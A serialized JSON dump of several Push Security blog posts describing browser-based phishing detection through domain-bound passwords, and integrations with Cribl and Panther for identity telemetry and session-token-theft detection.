",{"data":125834,"content":125835,"nodeType":1570},{},[125836],{"data":125837,"content":125838,"nodeType":866},{},[125839],{"data":125840,"marks":125841,"value":125842,"nodeType":865},{},[],"One-time phishing links that only work the first time they are clicked",{"data":125844,"content":125845,"nodeType":866},{},[125846],{"data":125847,"marks":125848,"value":125849,"nodeType":865},{},[],"Push is putting an end to this game of cat and mouse, by keeping it really simple; you can’t phish someone who can’t put their password into a phishing page. ",{"data":125851,"content":125855,"nodeType":912},{"target":125852},{"sys":125853},{"id":125854,"type":909,"linkType":910},"6AwOZSpqaChmeksnj4SyWE",[],{"data":125857,"content":125858,"nodeType":972},{},[],{"data":125860,"content":125861,"nodeType":1317},{},[125862],{"data":125863,"marks":125864,"value":125865,"nodeType":865},{},[],"Domain-binding passwords",{"data":125867,"content":125868,"nodeType":866},{},[125869],{"data":125870,"marks":125871,"value":125872,"nodeType":865},{},[],"If you’re familiar with how passkeys are domain-bound, then think of what Push does as domain-binding passwords. We pin the password to its legitimate domain(s) and then don’t allow it to be entered into any webpage on any other domain. ",{"data":125874,"content":125875,"nodeType":866},{},[125876],{"data":125877,"marks":125878,"value":125879,"nodeType":865},{},[],"But just because you’ve stopped your users from being phished doesn’t mean you don’t want to know when attackers are attempting to phish your users and how. ",{"data":125881,"content":125882,"nodeType":866},{},[125883],{"data":125884,"marks":125885,"value":125886,"nodeType":865},{},[],"Push still inspects webpages to see if attackers are rendering cloned app login pages in the browser or if known AitM and BitM toolkits are being used. This way you don’t lose visibility of the unsuccessful attacks that are targeting your users. Think of it as a handy second and third layer of defense.",{"data":125888,"content":125889,"nodeType":866},{},[125890],{"data":125891,"marks":125892,"value":125893,"nodeType":865},{},[],"Lets run through a quick before and after example:",{"data":125895,"content":125896,"nodeType":1317},{},[125897,125901,125907],{"data":125898,"marks":125899,"value":125900,"nodeType":865},{},[],"Scenario 1: An attacker attempts to phish an employee that ",{"data":125902,"marks":125903,"value":125906,"nodeType":865},{},[125904,125905],{"type":943},{"type":926},"doesn’t",{"data":125908,"marks":125909,"value":125910,"nodeType":865},{},[]," have Push deployed to their browser.",{"data":125912,"content":125916,"nodeType":912},{"target":125913},{"sys":125914},{"id":125915,"type":909,"linkType":910},"2CbGMUSJsP1mNeHkmpLl6N",[],{"data":125918,"content":125919,"nodeType":866},{},[125920],{"data":125921,"marks":125922,"value":125923,"nodeType":865},{},[],"Here, an attacker hacks a Wordpress blog to get a reputable domain and then runs a phishing toolkit on the webpage. They email one of your employees a link to it. Your SWG / email scanning solution inspects it in a sandbox but the phish kit detects this and redirects to a benign site so that it passes the inspection. ",{"data":125925,"content":125926,"nodeType":866},{},[125927],{"data":125928,"marks":125929,"value":125930,"nodeType":865},{},[],"Your user gets the email with the link and is now free to interact with the phishing page. They enter their credentials plus MFA code into the page and voila! The attacker steals them and is able to compromise the user’s account.  ",{"data":125932,"content":125933,"nodeType":1317},{},[125934,125938,125943],{"data":125935,"marks":125936,"value":125937,"nodeType":865},{},[],"Scenario 2: An attacker attempts to phish an employee that ",{"data":125939,"marks":125940,"value":1745,"nodeType":865},{},[125941,125942],{"type":943},{"type":926},{"data":125944,"marks":125945,"value":125946,"nodeType":865},{},[]," have Push deployed to their browser. ",{"data":125948,"content":125952,"nodeType":912},{"target":125949},{"sys":125950},{"id":125951,"type":909,"linkType":910},"77smnID1woCfFJrJPyTvKY",[],{"data":125954,"content":125955,"nodeType":866},{},[125956],{"data":125957,"marks":125958,"value":125959,"nodeType":865},{},[],"This time, the attacker uses the same phishing toolkit and domain from the first example. But in reality, they don’t have to send it to your employee using email, instead, they could use LinkedIn messenger, Slack, Teams, or any application that allows employees to communicate with each other. ",{"data":125961,"content":125962,"nodeType":866},{},[125963],{"data":125964,"marks":125965,"value":125966,"nodeType":865},{},[],"Like before, the user receives the link, opens it and starts to enter their credentials into the webpage. This time though, the Push browser extension inspects the webpage running in the user's browser. Push observes that the webpage is a login page and the user is entering their password into the page.",{"data":125968,"content":125969,"nodeType":866},{},[125970],{"data":125971,"marks":125972,"value":125973,"nodeType":865},{},[],"The first detection Push makes is checking that the password the user is entering matches the domain that password is pinned to. Since it doesn't match, based on this detection alone the user is automatically redirected to a blocking page. An important point to make here is that the password never leaves the user’s browser and the check is made using a shortened salted hash of the password.   ",{"data":125975,"content":125976,"nodeType":866},{},[125977],{"data":125978,"marks":125979,"value":125980,"nodeType":865},{},[],"The second detection Push makes is that the rendered web app is using a cloned app login page. The third detection is that a phishing toolkit is running in the web app code. ",{"data":125982,"content":125983,"nodeType":866},{},[125984],{"data":125985,"marks":125986,"value":125987,"nodeType":865},{},[],"In this particular scenario these second and third detections serve as useful context for understanding the nature of the phishing attack. But both will still redirect to a blocking page if they are triggered in isolation of the other phishing detections. ",{"data":125989,"content":125990,"nodeType":972},{},[],{"data":125992,"content":125993,"nodeType":981},{},[125994],{"data":125995,"marks":125996,"value":105586,"nodeType":865},{},[],{"data":125998,"content":125999,"nodeType":866},{},[126000,126004,126011],{"data":126001,"marks":126002,"value":126003,"nodeType":865},{},[],"We also detect other identity-related attack techniques used to compromise user accounts. That includes credential stuffing, password spraying and session hijacking using stolen session tokens. If you want to learn more about how Push helps you to detect and defeat common identity attack techniques, ",{"data":126005,"content":126006,"nodeType":889},{"uri":16069},[126007],{"data":126008,"marks":126009,"value":105607,"nodeType":865},{},[126010],{"type":943},{"data":126012,"marks":126013,"value":113401,"nodeType":865},{},[],{"data":126015,"content":126019,"nodeType":912},{"target":126016},{"sys":126017},{"id":126018,"type":909,"linkType":910},"2JSmYDaiAciOx7Z1MRuJlA",[],{"data":126021,"content":126022,"nodeType":866},{},[126023],{"data":126024,"marks":126025,"value":21,"nodeType":865},{},[],"Detecting and blocking phishing attacks in the browser","How Push detects and blocks phishing attempts in the browser – explained in less than two minutes. ","2024-10-23T00:00:00.000Z","detecting-and-blocking-phishing-attacks-in-the-browser",{"items":126031},[126032,126034],{"sys":126033,"name":7796},{"id":7795},{"sys":126035,"name":342},{"id":4642},{"items":126037},[126038],{"fullName":4614,"firstName":4615,"jobTitle":4616,"profilePicture":126039},{"url":4618},"blog/how-browser-level-controls-change-the-fight-against-phishing",{"json":126042},{"data":126043,"content":126044,"nodeType":1382},{},[126045],{"data":126046,"content":126047,"nodeType":866},{},[126048],{"data":126049,"marks":126050,"value":126051,"nodeType":865},{},[],"Attackers have moved their phishing attacks out of the mailbox and are finding ever more ways to defeat conventional email, network, and endpoint-based security controls. Here's how browser-based security platforms can level the playing field and help security teams to stay ahead of the never-ending barrage of phishing attacks. ",{"id":117468,"publishedAt":126053},"2026-08-12T11:54:06.623Z",{"items":126055},[126056,126058],{"sys":126057,"name":7796},{"id":7795},{"sys":126059,"name":342},{"id":4642},{"items":126061},[126062,126064,126066,126068,126070,126072,126074,126076,126078,126080,126082,126084,126086,126088,126090],{"sys":126063,"name":519,"slug":520,"tier":31},{"id":516},{"sys":126065,"name":297,"slug":298,"tier":31},{"id":294},{"sys":126067,"name":279,"slug":280,"tier":31},{"id":276},{"sys":126069,"name":413,"slug":414,"tier":31},{"id":410},{"sys":126071,"name":342,"slug":343,"tier":31},{"id":339},{"sys":126073,"name":261,"slug":262,"tier":45},{"id":258},{"sys":126075,"name":324,"slug":325,"tier":45},{"id":321},{"sys":126077,"name":571,"slug":572,"tier":45},{"id":568},{"sys":126079,"name":395,"slug":396,"tier":45},{"id":392},{"sys":126081,"name":589,"slug":590,"tier":45},{"id":586},{"sys":126083,"name":457,"slug":458,"tier":45},{"id":454},{"sys":126085,"name":502,"slug":503,"tier":45},{"id":499},{"sys":126087,"name":351,"slug":352,"tier":45},{"id":348},{"sys":126089,"name":404,"slug":405,"tier":45},{"id":401},{"sys":126091,"name":377,"slug":378,"tier":45},{"id":374},"GwuurOJwwWImrgCMoJrHzz0X_W43W9FzqPECPeskE4M",{"id":126094,"title":126095,"authorsCollection":126096,"content":126100,"extension":228,"faqItemsCollection":126569,"faqTitle":59,"featured":6,"hashTags":59,"meta":126571,"metaTitle":126572,"ogImage":59,"postType":126573,"publishedDate":126574,"relatedBlogPostsCollection":126575,"slug":126989,"stem":126990,"subtitle":59,"summary":126991,"synopsis":127002,"sys":127003,"tagsCollection":127006,"topicsCollection":127010,"__hash__":127030},"blog/blog/better-together-identity-telemetry-from-push-smart-storage-and-searches-from.json","Better together: Identity telemetry from Push + smart storage and searches from Cribl",{"items":126097},[126098],{"fullName":6500,"firstName":6501,"jobTitle":4616,"socialLinks":59,"profilePicture":126099},{"url":6503},{"json":126101,"links":126558},{"data":126102,"content":126103,"nodeType":1382},{},[126104,126111,126154,126161,126168,126202,126209,126216,126269,126276,126283,126290,126297,126304,126311,126318,126325,126332,126365,126372,126390,126397,126404,126411,126444,126451,126468,126475,126482,126512,126541],{"data":126105,"content":126106,"nodeType":866},{},[126107],{"data":126108,"marks":126109,"value":126110,"nodeType":865},{},[],"In the midst of an identity security investigation when every minute counts, there are few sentences more painful to say than:",{"data":126112,"content":126113,"nodeType":1616},{},[126114,126124,126134,126144],{"data":126115,"content":126116,"nodeType":1570},{},[126117],{"data":126118,"content":126119,"nodeType":866},{},[126120],{"data":126121,"marks":126122,"value":126123,"nodeType":865},{},[],"“We didn’t snapshot that data, so we didn’t have the right time period.”",{"data":126125,"content":126126,"nodeType":1570},{},[126127],{"data":126128,"content":126129,"nodeType":866},{},[126130],{"data":126131,"marks":126132,"value":126133,"nodeType":865},{},[],"“We didn’t send those logs to the SIEM, so we couldn’t do the correlation we needed to rule out [bad thing].”",{"data":126135,"content":126136,"nodeType":1570},{},[126137],{"data":126138,"content":126139,"nodeType":866},{},[126140],{"data":126141,"marks":126142,"value":126143,"nodeType":865},{},[],"“We didn’t have any user behavior telemetry in the browser, so we didn’t know if they entered their password on the phishing page or not.”",{"data":126145,"content":126146,"nodeType":1570},{},[126147],{"data":126148,"content":126149,"nodeType":866},{},[126150],{"data":126151,"marks":126152,"value":126153,"nodeType":865},{},[],"“We had no way of determining what other accounts they were using that compromised password on.”",{"data":126155,"content":126156,"nodeType":866},{},[126157],{"data":126158,"marks":126159,"value":126160,"nodeType":865},{},[],"Security teams use Push and Cribl so they never have to utter those words. So we’re especially thrilled to announce our partnership with Cribl to make it much easier to snapshot, transform, and query Push telemetry using Cribl’s data management solutions.",{"data":126162,"content":126163,"nodeType":866},{},[126164],{"data":126165,"marks":126166,"value":126167,"nodeType":865},{},[],"Push uses a browser agent deployed across all your workforce browsers to do real-time detection and response for identity-based attacks like credential phishing, account takeover, and session token theft. ",{"data":126169,"content":126170,"nodeType":866},{},[126171,126175,126185,126189,126198],{"data":126172,"marks":126173,"value":126174,"nodeType":865},{},[],"As the Push browser agent learns your environment, it also automatically inventories all the apps that your employees log in to, their authentication methods and MFA usage, and the security posture of their accounts. We call this an organization’s ",{"data":126176,"content":126180,"nodeType":33606},{"target":126177},{"sys":126178},{"id":126179,"type":909,"linkType":910},"1pJdOGN0dOd3BKVqO4CxHh",[126181],{"data":126182,"marks":126183,"value":126184,"nodeType":865},{},[],"identity attack surface",{"data":126186,"marks":126187,"value":126188,"nodeType":865},{},[]," because it represents the risks posed by insecure accounts and apps — even the ones you didn’t know about — that are ",{"data":126190,"content":126193,"nodeType":33606},{"target":126191},{"sys":126192},{"id":80584,"type":909,"linkType":910},[126194],{"data":126195,"marks":126196,"value":126197,"nodeType":865},{},[],"increasingly targeted",{"data":126199,"marks":126200,"value":126201,"nodeType":865},{},[]," by attackers.",{"data":126203,"content":126204,"nodeType":866},{},[126205],{"data":126206,"marks":126207,"value":126208,"nodeType":865},{},[],"From this unique vantage point in the browser, Push can block identity attacks like credential phishing while also generating telemetry that security teams rely on for knowing what happened during an incident, such as what the user saw and did, and how big the blast radius is in terms of other compromised accounts.",{"data":126210,"content":126211,"nodeType":866},{},[126212],{"data":126213,"marks":126214,"value":126215,"nodeType":865},{},[],"By integrating with Cribl, Push customers can now:",{"data":126217,"content":126218,"nodeType":1616},{},[126219,126229,126239,126249,126259],{"data":126220,"content":126221,"nodeType":1570},{},[126222],{"data":126223,"content":126224,"nodeType":866},{},[126225],{"data":126226,"marks":126227,"value":126228,"nodeType":865},{},[],"Quickly ingest and transform Push data into Cribl in order to route it to their SIEM, SOAR, or other third-party system — without overwhelming their pipeline or running up costs on log volume.",{"data":126230,"content":126231,"nodeType":1570},{},[126232],{"data":126233,"content":126234,"nodeType":866},{},[126235],{"data":126236,"marks":126237,"value":126238,"nodeType":865},{},[],"Get immediate insights into identity security threats and posture across their environment by using Cribl’s out-of-the-box dashboards for Push telemetry.",{"data":126240,"content":126241,"nodeType":1570},{},[126242],{"data":126243,"content":126244,"nodeType":866},{},[126245],{"data":126246,"marks":126247,"value":126248,"nodeType":865},{},[],"Easily create a snapshot of Push data to allow for historical comparisons and queries.",{"data":126250,"content":126251,"nodeType":1570},{},[126252],{"data":126253,"content":126254,"nodeType":866},{},[126255],{"data":126256,"marks":126257,"value":126258,"nodeType":865},{},[],"Correlate Push data with other log sources such as their EDR and identity provider to get a fuller picture of identity security risks and incidents. ",{"data":126260,"content":126261,"nodeType":1570},{},[126262],{"data":126263,"content":126264,"nodeType":866},{},[126265],{"data":126266,"marks":126267,"value":126268,"nodeType":865},{},[],"Hunt across their data for risky user behaviors like suspicious login methods, signs of credential phishing or stolen sessions, and credential reuse.",{"data":126270,"content":126271,"nodeType":866},{},[126272],{"data":126273,"marks":126274,"value":126275,"nodeType":865},{},[],"Here’s a closer look at what we built together and how you can use it.",{"data":126277,"content":126278,"nodeType":981},{},[126279],{"data":126280,"marks":126281,"value":126282,"nodeType":865},{},[],"Tooling built by the teams that actually use it",{"data":126284,"content":126285,"nodeType":866},{},[126286],{"data":126287,"marks":126288,"value":126289,"nodeType":865},{},[],"The truth is, we selfishly had the idea to build this integration because we use Cribl at Push — and they use Push at Cribl. ",{"data":126291,"content":126292,"nodeType":866},{},[126293],{"data":126294,"marks":126295,"value":126296,"nodeType":865},{},[],"As mutual users (and fans!) of each other’s products, our security teams had firsthand experience with the use cases, data, and possibilities that combining our capabilities presented.",{"data":126298,"content":126299,"nodeType":866},{},[126300],{"data":126301,"marks":126302,"value":126303,"nodeType":865},{},[],"“Our team had been using Push for a while, and I was already a big fan of their approach,” explains Alex Crusco, staff security engineer at Cribl. “So when we decided to build out-of-the-box security packs in Cribl, they were the first partner that came to mind. Identity is a top attack vector, and defending it isn’t easy. The combined power of Cribl and Push gives security teams the clarity and control to turn identity from a blind spot into a defensible asset.”",{"data":126305,"content":126306,"nodeType":866},{},[126307],{"data":126308,"marks":126309,"value":126310,"nodeType":865},{},[],"So here’s what we built:",{"data":126312,"content":126313,"nodeType":1317},{},[126314],{"data":126315,"marks":126316,"value":126317,"nodeType":865},{},[],"Cribl Stream pack for Push",{"data":126319,"content":126320,"nodeType":866},{},[126321],{"data":126322,"marks":126323,"value":126324,"nodeType":865},{},[],"Using the Cribl Stream pack for Push, you get a preconfigured parser for individual Push events that automatically cleans and formats them for your exact use case so you can query the data directly in Cribl or route it somewhere else. ",{"data":126326,"content":126327,"nodeType":866},{},[126328],{"data":126329,"marks":126330,"value":126331,"nodeType":865},{},[],"By sending Push data to Cribl, you can enable your security team to:",{"data":126333,"content":126334,"nodeType":1616},{},[126335,126345,126355],{"data":126336,"content":126337,"nodeType":1570},{},[126338],{"data":126339,"content":126340,"nodeType":866},{},[126341],{"data":126342,"marks":126343,"value":126344,"nodeType":865},{},[],"Ingest and normalize telemetry on the employees, accounts, browsers, security findings, and detections observed by Push across your environment.",{"data":126346,"content":126347,"nodeType":1570},{},[126348],{"data":126349,"content":126350,"nodeType":866},{},[126351],{"data":126352,"marks":126353,"value":126354,"nodeType":865},{},[],"Route specific alerts and events to your SIEM or other tool.",{"data":126356,"content":126357,"nodeType":1570},{},[126358],{"data":126359,"content":126360,"nodeType":866},{},[126361],{"data":126362,"marks":126363,"value":126364,"nodeType":865},{},[],"Enrich Push data with other sources to expand the context for understanding events, or look for wider patterns.",{"data":126366,"content":126367,"nodeType":866},{},[126368],{"data":126369,"marks":126370,"value":126371,"nodeType":865},{},[],"Push logs are pretty lightweight out of the box, but the Stream pack streamlines them further. By transforming or dropping some of the event fields (such as event headers), you can reduce your event size by 50%. This gives security teams the opportunity and flexibility to save on costs when sending events to systems that charge by log volume while also getting the data that security teams need where they need it.",{"data":126373,"content":126374,"nodeType":866},{},[126375,126379,126387],{"data":126376,"marks":126377,"value":126378,"nodeType":865},{},[],"You can get the Cribl Stream pack for Push via the ",{"data":126380,"content":126382,"nodeType":889},{"uri":126381},"https://packs.cribl.io/packs/cc-push-security",[126383],{"data":126384,"marks":126385,"value":126386,"nodeType":865},{},[],"Cribl Dispensary",{"data":126388,"marks":126389,"value":6719,"nodeType":865},{},[],{"data":126391,"content":126392,"nodeType":1317},{},[126393],{"data":126394,"marks":126395,"value":126396,"nodeType":865},{},[],"Cribl Search pack for Push",{"data":126398,"content":126399,"nodeType":866},{},[126400],{"data":126401,"marks":126402,"value":126403,"nodeType":865},{},[],"The other half of the equation is the Cribl Search pack for Push. Once you’ve got your Push data into Cribl, you can use it to populate pre-built dashboards provided by the Search pack.",{"data":126405,"content":126406,"nodeType":866},{},[126407],{"data":126408,"marks":126409,"value":126410,"nodeType":865},{},[],"Using the Cribl Search pack dashboards, you can:",{"data":126412,"content":126413,"nodeType":1616},{},[126414,126424,126434],{"data":126415,"content":126416,"nodeType":1570},{},[126417],{"data":126418,"content":126419,"nodeType":866},{},[126420],{"data":126421,"marks":126422,"value":126423,"nodeType":865},{},[],"Monitor the state of your Push Security deployment and identify any gaps in browser extension coverage.",{"data":126425,"content":126426,"nodeType":1570},{},[126427],{"data":126428,"content":126429,"nodeType":866},{},[126430],{"data":126431,"marks":126432,"value":126433,"nodeType":865},{},[],"Get a snapshot of security issues such as suspicious or unapproved login methods (e.g. local password logins on SSO apps); credential reuse; or signs of adversary-in-the-middle phishing incidents or stolen sessions.",{"data":126435,"content":126436,"nodeType":1570},{},[126437],{"data":126438,"content":126439,"nodeType":866},{},[126440],{"data":126441,"marks":126442,"value":126443,"nodeType":865},{},[],"Deep dive into behavior data for a specific employee, to assist threat hunters and analysts with investigations or incident response.",{"data":126445,"content":126446,"nodeType":866},{},[126447],{"data":126448,"marks":126449,"value":126450,"nodeType":865},{},[],"With the Search pack, you can also take a daily snapshot of your Push data to see trends across time when searching, or to conduct historical investigations.",{"data":126452,"content":126453,"nodeType":866},{},[126454,126458,126465],{"data":126455,"marks":126456,"value":126457,"nodeType":865},{},[],"You can get the Cribl Search pack for Push via the ",{"data":126459,"content":126461,"nodeType":889},{"uri":126460},"https://packs.cribl.io/packs/cc-search-push-security",[126462],{"data":126463,"marks":126464,"value":126386,"nodeType":865},{},[],{"data":126466,"marks":126467,"value":6719,"nodeType":865},{},[],{"data":126469,"content":126470,"nodeType":981},{},[126471],{"data":126472,"marks":126473,"value":126474,"nodeType":865},{},[],"Get started",{"data":126476,"content":126477,"nodeType":866},{},[126478],{"data":126479,"marks":126480,"value":126481,"nodeType":865},{},[],"To get started, you’ll need to be using both Cribl and Push. ",{"data":126483,"content":126484,"nodeType":866},{},[126485,126489,126497,126501,126508],{"data":126486,"marks":126487,"value":126488,"nodeType":865},{},[],"To get started using the Stream pack, you’ll need to configure a Stream source to receive data over HTTPS, then create a ",{"data":126490,"content":126492,"nodeType":889},{"uri":126491},"https://pushsecurity.redoc.ly/webhooks-v1/",[126493],{"data":126494,"marks":126495,"value":126496,"nodeType":865},{},[],"webhook",{"data":126498,"marks":126499,"value":126500,"nodeType":865},{},[]," in the Push admin console that points to your Cribl Stream source and download and install the Cribl Stream pack for Push. Follow the instructions in the ",{"data":126502,"content":126503,"nodeType":889},{"uri":126381},[126504],{"data":126505,"marks":126506,"value":126507,"nodeType":865},{},[],"Stream pack description",{"data":126509,"marks":126510,"value":126511,"nodeType":865},{},[]," for guidance.",{"data":126513,"content":126514,"nodeType":866},{},[126515,126519,126527,126531,126538],{"data":126516,"marks":126517,"value":126518,"nodeType":865},{},[],"To get started using the Search pack, you’ll need to also set up the ",{"data":126520,"content":126522,"nodeType":889},{"uri":126521},"https://github.com/criblio/collector-templates/tree/main/collectors/rest/pushsecurity",[126523],{"data":126524,"marks":126525,"value":126526,"nodeType":865},{},[],"Push REST collectors",{"data":126528,"marks":126529,"value":126530,"nodeType":865},{},[]," in Cribl Stream to ingest your Push data. Then import the Search pack into your Cribl instance. Follow the instructions in the ",{"data":126532,"content":126533,"nodeType":889},{"uri":126460},[126534],{"data":126535,"marks":126536,"value":126537,"nodeType":865},{},[],"Search pack description",{"data":126539,"marks":126540,"value":126511,"nodeType":865},{},[],{"data":126542,"content":126543,"nodeType":866},{},[126544,126548,126554],{"data":126545,"marks":126546,"value":126547,"nodeType":865},{},[],"Not yet a user of Push yet, but want to learn more about how our data enables detection, response, and security investigations? ",{"data":126549,"content":126550,"nodeType":889},{"uri":34504},[126551],{"data":126552,"marks":126553,"value":118063,"nodeType":865},{},[],{"data":126555,"marks":126556,"value":126557,"nodeType":865},{},[]," with our team to chat.",{"entries":126559},{"block":126560,"inline":126561,"hyperlink":126562},[],[],[126563,126567],{"sys":126564,"__typename":1429,"title":126565,"slug":126566},{"id":126179},"Looking back on identity-based breaches in 2024","2024-identity-breaches",{"sys":126568,"__typename":1429,"title":87655,"slug":87656},{"id":80584},{"items":126570},[],{},"Integrate Cribl and Push Security","partnership","2025-06-03T00:00:00.000Z",{"items":126576},[126577],{"__typename":1429,"sys":126578,"content":126580,"title":126973,"synopsis":126974,"hashTags":59,"publishedDate":126975,"slug":126976,"tagsCollection":126977,"authorsCollection":126985},{"id":126579},"7qYHyqnkvqQRbYn3nTi5br",{"json":126581},{"data":126582,"content":126583,"nodeType":1382},{},[126584,126591,126598,126646,126653,126660,126667,126673,126692,126699,126721,126728,126735,126757,126763,126800,126807,126814,126820,126827,126834,126841,126848,126855,126932,126938,126956],{"data":126585,"content":126586,"nodeType":866},{},[126587],{"data":126588,"marks":126589,"value":126590,"nodeType":865},{},[],"While Push’s official mission is to stop identity attacks, our unofficial motto might be described as “don’t make security teams log into another tool if they don’t have to.”",{"data":126592,"content":126593,"nodeType":866},{},[126594],{"data":126595,"marks":126596,"value":126597,"nodeType":865},{},[],"To that end, we’re thrilled to announce a new integration with Panther that makes it possible in a few clicks to:",{"data":126599,"content":126600,"nodeType":1616},{},[126601,126616,126631],{"data":126602,"content":126603,"nodeType":1570},{},[126604],{"data":126605,"content":126606,"nodeType":866},{},[126607,126612],{"data":126608,"marks":126609,"value":126611,"nodeType":865},{},[126610],{"type":926},"Ingest Push logs",{"data":126613,"marks":126614,"value":126615,"nodeType":865},{},[]," into your Panther SIEM.",{"data":126617,"content":126618,"nodeType":1570},{},[126619],{"data":126620,"content":126621,"nodeType":866},{},[126622,126627],{"data":126623,"marks":126624,"value":126626,"nodeType":865},{},[126625],{"type":926},"Use preconfigured data schemas",{"data":126628,"marks":126629,"value":126630,"nodeType":865},{},[]," for these logs without having to create your own.",{"data":126632,"content":126633,"nodeType":1570},{},[126634],{"data":126635,"content":126636,"nodeType":866},{},[126637,126642],{"data":126638,"marks":126639,"value":126641,"nodeType":865},{},[126640],{"type":926},"Enable ready-made detections",{"data":126643,"marks":126644,"value":126645,"nodeType":865},{},[]," for Push webhook events, including session token theft and adversary-in-the-middle (AitM) phishing toolkits.",{"data":126647,"content":126648,"nodeType":866},{},[126649],{"data":126650,"marks":126651,"value":126652,"nodeType":865},{},[],"The combination of Push’s unique telemetry, powered by the Push browser agent, and Panther’s correlation and log normalization capabilities was a perfect match, explains Panther’s Head of Partnerships, Andrew Dooley.",{"data":126654,"content":126655,"nodeType":866},{},[126656],{"data":126657,"marks":126658,"value":126659,"nodeType":865},{},[],"“As a SIEM, we’re looking for where we can find the most impactful security information in our customers’ environments to bring into Panther,” Dooley says. ",{"data":126661,"content":126662,"nodeType":866},{},[126663],{"data":126664,"marks":126665,"value":126666,"nodeType":865},{},[],"“With identity-based attacks being so common and impactful, identity telemetry data directly from users' browsers is exactly the kind of high-impact logs we want to support our customers’ threat detection and investigation workflows.”",{"data":126668,"content":126672,"nodeType":912},{"target":126669},{"sys":126670},{"id":126671,"type":909,"linkType":910},"77bCOg5nPKjyKdhH77dUox",[],{"data":126674,"content":126675,"nodeType":866},{},[126676,126680,126688],{"data":126677,"marks":126678,"value":126679,"nodeType":865},{},[],"In this article, we’ll highlight some of the use cases you can achieve with the Push-Panther integration. Or, if you prefer, you can ",{"data":126681,"content":126683,"nodeType":889},{"uri":126682},"https://docs.panther.com/data-onboarding/supported-logs/push-security",[126684],{"data":126685,"marks":126686,"value":126687,"nodeType":865},{},[],"dive into the docs",{"data":126689,"marks":126690,"value":126691,"nodeType":865},{},[]," right away.",{"data":126693,"content":126694,"nodeType":981},{},[126695],{"data":126696,"marks":126697,"value":126698,"nodeType":865},{},[],"How to detect session token theft with Push and Panther",{"data":126700,"content":126701,"nodeType":866},{},[126702,126706,126717],{"data":126703,"marks":126704,"value":126705,"nodeType":865},{},[],"A key use case we set out to solve with the Push-Panther integration is detecting ",{"data":126707,"content":126711,"nodeType":33606},{"target":126708},{"sys":126709},{"id":126710,"type":909,"linkType":910},"6Uvqu6LcWzOVfA9mxtu841",[126712],{"data":126713,"marks":126714,"value":126716,"nodeType":865},{},[126715],{"type":926},"session token theft",{"data":126718,"marks":126719,"value":126720,"nodeType":865},{},[],", a session hijacking technique where endpoint malware such as an infostealer is used to extract sessions and other valuable data from a device.",{"data":126722,"content":126723,"nodeType":866},{},[126724],{"data":126725,"marks":126726,"value":126727,"nodeType":865},{},[],"Using stolen tokens, attackers don’t even need to bypass MFA; they can just log in by importing the session cookie into their browser.",{"data":126729,"content":126730,"nodeType":866},{},[126731],{"data":126732,"marks":126733,"value":126734,"nodeType":865},{},[],"In the past, writing high-fidelity detections for session token theft has been extremely challenging because there was only squishy ground to stand on: IP-based or geo-based signals are noisy and frequently inaccurate.",{"data":126736,"content":126737,"nodeType":866},{},[126738,126742,126753],{"data":126739,"marks":126740,"value":126741,"nodeType":865},{},[],"Push recently released our ",{"data":126743,"content":126747,"nodeType":33606},{"target":126744},{"sys":126745},{"id":126746,"type":909,"linkType":910},"1UMZdjyNQt4Y7NBb2wuK4L",[126748],{"data":126749,"marks":126750,"value":126752,"nodeType":865},{},[126751],{"type":926},"session token theft detection",{"data":126754,"marks":126755,"value":126756,"nodeType":865},{},[]," feature, which uses the Push browser agent to inject a unique marker into the user agent string of sessions that occur in browsers enrolled in Push.",{"data":126758,"content":126762,"nodeType":912},{"target":126759},{"sys":126760},{"id":126761,"type":909,"linkType":910},"3zQamWSaZFIbMUhQZtM2II",[],{"data":126764,"content":126765,"nodeType":866},{},[126766,126770,126779,126783,126787,126791,126796],{"data":126767,"marks":126768,"value":126769,"nodeType":865},{},[],"Things get interesting when you plug Push telemetry into Panther’s new ",{"data":126771,"content":126773,"nodeType":889},{"uri":126772},"https://docs.panther.com/detections/correlation-rules",[126774],{"data":126775,"marks":126776,"value":126778,"nodeType":865},{},[126777],{"type":926},"Correlation Rules",{"data":126780,"marks":126781,"value":126782,"nodeType":865},{},[]," feature (or perform a correlation in your other SIEM of choice). By analyzing logs from your IdP, you can identify activity from the same session that both ",{"data":126784,"marks":126785,"value":125754,"nodeType":865},{},[126786],{"type":898},{"data":126788,"marks":126789,"value":126790,"nodeType":865},{},[]," and that ",{"data":126792,"marks":126793,"value":126795,"nodeType":865},{},[126794],{"type":898},"lacks",{"data":126797,"marks":126798,"value":126799,"nodeType":865},{},[]," the Push marker, a high-fidelity signal that a stolen session token is being used by an adversary.",{"data":126801,"content":126802,"nodeType":866},{},[126803],{"data":126804,"marks":126805,"value":126806,"nodeType":865},{},[],"“Being able to correlate high-fidelity browser telemetry data with IdP logs and even more traditional endpoint logs is a powerful enabler for our users in catching bad actor behavior fast and early,” says Dooley, Panther’s Head of Partnerships.",{"data":126808,"content":126809,"nodeType":866},{},[126810],{"data":126811,"marks":126812,"value":126813,"nodeType":865},{},[],"Check out this video demo from Joe Stanulis, solutions engineer team lead at Push, and Nicholas Hakmiller, senior engineering manager at Panther, to see how Push and Panther combine their powers to detect session token theft.",{"data":126815,"content":126819,"nodeType":912},{"target":126816},{"sys":126817},{"id":126818,"type":909,"linkType":910},"2hUt3IqTFlCMgC0jHTau58",[],{"data":126821,"content":126822,"nodeType":866},{},[126823],{"data":126824,"marks":126825,"value":126826,"nodeType":865},{},[],"As Dooley explains, “Push’s approach of generating visibility as well as security findings aligns well with Panther’s approach of centralizing customers’ security alerts but also combining multiple signals from different sources into one finding. For example, the Push agent can block phishing attacks when in Block mode, but when in Monitor mode, those findings can be sent to Panther to be correlated with other activity like unusual Okta logins to create a single alert that tells a more complete story of a user being compromised. ",{"data":126828,"content":126829,"nodeType":866},{},[126830],{"data":126831,"marks":126832,"value":126833,"nodeType":865},{},[],"“Similarly, the Push user agent string marker leaves a very visible fingerprint in logs from other systems, making it easy to incorporate this Push feature into Panther detections across a variety of log sources and use cases.”",{"data":126835,"content":126836,"nodeType":981},{},[126837],{"data":126838,"marks":126839,"value":126840,"nodeType":865},{},[],"What else can you do with Push and your SIEM?",{"data":126842,"content":126843,"nodeType":866},{},[126844],{"data":126845,"marks":126846,"value":126847,"nodeType":865},{},[],"As a browser agent, Push is uniquely positioned to provide telemetry on your identity infrastructure that you can’t easily get elsewhere. This data is a key element to stopping identity attacks and account takeover by providing the context security teams need to write detections and to perform correlations with existing log sources, such as an identity provider.",{"data":126849,"content":126850,"nodeType":866},{},[126851],{"data":126852,"marks":126853,"value":126854,"nodeType":865},{},[],"General use cases for ingesting Push data into your SIEM 